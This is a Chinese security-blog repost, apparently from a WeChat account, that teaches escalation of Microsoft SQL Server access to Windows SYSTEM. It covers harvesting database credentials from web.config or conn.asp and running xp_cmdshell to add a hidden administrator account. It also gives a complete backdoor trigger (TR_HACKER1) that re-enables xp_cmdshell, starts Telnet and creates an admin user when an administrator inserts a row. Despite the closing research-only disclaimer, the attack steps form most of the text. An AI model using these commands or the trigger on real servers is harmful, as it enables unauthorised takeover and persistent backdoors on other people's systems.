SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的,并于1988年推出了第一个OS/2版本。Microsoft SQL Server近年来不断更新版本,1996年,Microsoft 推出了SQL Server 6.5版本;1998年,SQL Server 7.0版本和用户见面;SQL Server 2000是Microsoft公司于2000年推出,目前最新版本是2012年3月份推出的SQL SERVER 2012。
不知道大家以前或者现在有没有搞过端口抓鸡呢,1433端口,如果弄过的童鞋一定很熟悉这个端口,其实这个端口抓鸡的原理就是依靠SQL Server数据库的弱口令进行传马/执行cmd等一系列的入侵行为- -.其实sql server 也可以叫mssql相信这个大家会更熟悉一些.下面我们就来介绍Sql server 各个用户里的权限。
Sa 可以执行mssql数据库的所有操作
db_owner 执行所有数据库角色活动
public 维护所有默认权限
db_accessadmin 添加和删除数据库用户, 组及角色
db_ddladmin 添加、更改或删除数据库对象
db_security admin 分配语句执行和对象权限
db_backupoperator 备份数据库
db_datareader 读取任何表中的数据
db_datawriter 添加、更改或删除所有表中的数据
db_denydatareader 不能读取任何表中的数据
db_denydatawriter 不能更改任何表中的数据
在没降权的情况下,MSSQL的服务是以system权限运行的.注意这一点很重要,如果mssql服务是以users组或者guests组降权运行的话,会导致下面一系列的操作进行不了.
MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SA,DB_OWNER,PCUBLIC等,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWS中的Power Users.
Power Users高级用户可以改变所有配置,执行所有程序,唯一就是不能把自己加进administrators组去.但mssql里的db_owner显然没windows的 Power Users那么可爱,他相对来说没那么大的权限,他不能执行程序.db_owner能对mssql数据库进行任何操作.比如建一个表,或者建一个字段,删除那个表删除那个字段,包括修改插入,都是可以做到的.仅限于自己所管理的数据库之内,他只在自己所在的数据库之内,他就不能深入到系统里面,去执行系统的命令,当然他也不能执行程序.也就是说如果你的mssql账号dbowner权限的话,你想上传个木马运行那是不现实的。 PCUBLIC相当于users用户,只能在指定的数据库内进行一些简单的操作,不能用于提权。
在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了)。
0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql的,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释。
hash加密的参考
http://it.anhuinews.com/network/442646/391737177179.shtml
Asp.net解密反编译
http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html
现在,我们开始,sa提权之旅吧。
先扫描一遍端口,mssql开启的服务端口是1433..- -我这里是mssql2K不知道为啥.搭建的环境1433端口硬是没开..奇怪。-0-我这里大概说一下。
server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB
Uid就是mssql的账号pwd 就是mssql账号密码。这样看应该清晰了吧0.0
在go的旁边的菜单栏点击一下,选择mssql.再点击go。
Exec master.dbo.xp_cmdshell 'whoami'
太好了,没有降权-0-。System权限在基础篇上讲过,是windows理论上最高权限的用户.这可是比administrator还要高很多.由于mssql默认安装下是继承系统的权限神马的.所以他有了system这权限。
Exec master.dbo.xp_cmdshell 'net user xiaoguai www.h4x0er.com /add'
Exec master.dbo.xp_cmdshell 'net localgroup administrators xiaoguai /add'
添加账号xiaoguai 密码www.h4x0er.com
把xiaoguai添加到administrators这个用户组里(这里做个小提示,有些管理员为了恶心一下一些不咋懂用户组的小菜鸟,会把guests组改成administrators组来恶心人- -,最好就是先确定管理员所在的组,然后再把你的用户添加进那个组里面.)
Exec master.dbo.xp_cmdshell ' ' 在这''俩个单引号里面可以执行dos命令.是以system权限运行的.你可以把木马传上去,然后执行.
Exec master.dbo.xp_cmdshell 'net user '
接着这里就不提供找端口的了,一般都是netstat -an 或者注册表神马的里面翻,上一节文章已经写了。
Command 就是让你输入dos命令,然后他会执行的.
Ms_sql提权这个 我这里也登陆不了.没1433端口呃.. 大概就这样吧.和aspx的那个数据库连接也差不多.
我这里贴个文章吧.大家有兴趣,或者提权的时候遇到错误命令执行不了的时候就可以去试试了。
http://netsky-cheng.iteye.com/blog/1057315
这个方法比较另类,实现的过程也比较鸡肋..为了学习,我还是把方法提供出来吧。
不能调用xp_cmshell的话我们就做一个触发器来触发达到提权的效果。
8
我们在db_wner他所在管理的表里,创建一个触发器,等管理员用sa用户去执行插入表命令的时候会触发,达到提权的效果。
10
这里我们用bairong_Users 来演示,我这里用BSQL来演示,其实和aspxspy也一样.也就是个执行的工具。
12
执行完毕后,查看用户表.点击触发器会有TR_hacker1这个在。
create TRIGGER TR_HACKER1 ON bairong_Users
AFTER INSERT
AS
BEGIN
EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net user xiaoguai www.h4x0er.com /add'
EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators xiaoguai /add'
End
就是创建一个名字叫TR_HACKER1的触发器在bairong_User表里,
然后等管理员执行这个表里相关的信息时候,就触发执行mssql的 xp_cmshell 里的特定dos命令。
我这里写的是 开启Telnet服务,创建账号xiaoguai 密码……添加管理员.如果怕不够保险的话,就写多几句修复错误。这里不多说,抛砖引玉。
14
INSERT INTO bairong_Users(UserName,Password) VALUES('xiaoguai','11111')
当管理员在bairong_Users这个表里插入
Username:xiaoguai
Password:11111的时候,就会触发我们留下的后门。
15
Db_owner用户提权的思路就是,把自己有权限管理的表里面,插一大堆后门触发器.
只要管理员以sa权限登录,想查一下日志或者插入语句的时候.就会触发我们的后门,达到创建系统账号的效果.成功率比较低,效率也比较低...
还有一个方法就是利用db_owner的权限备份到启动项那里,写创建账号的密码的那bat..我这写的比较紧,也没测成功,把文章贴出来吧。
http://www.176ku.com/anquan/tiquan/200609/11011.html 针对Db_owner权限下的提权脚本
![SQL SERVER 提权 SQL SERVER 提权]()
![SQL SERVER 提权 SQL SERVER 提权]()
原文始发于微信公众号(零漏安全):SQL SERVER 提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/2529858.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论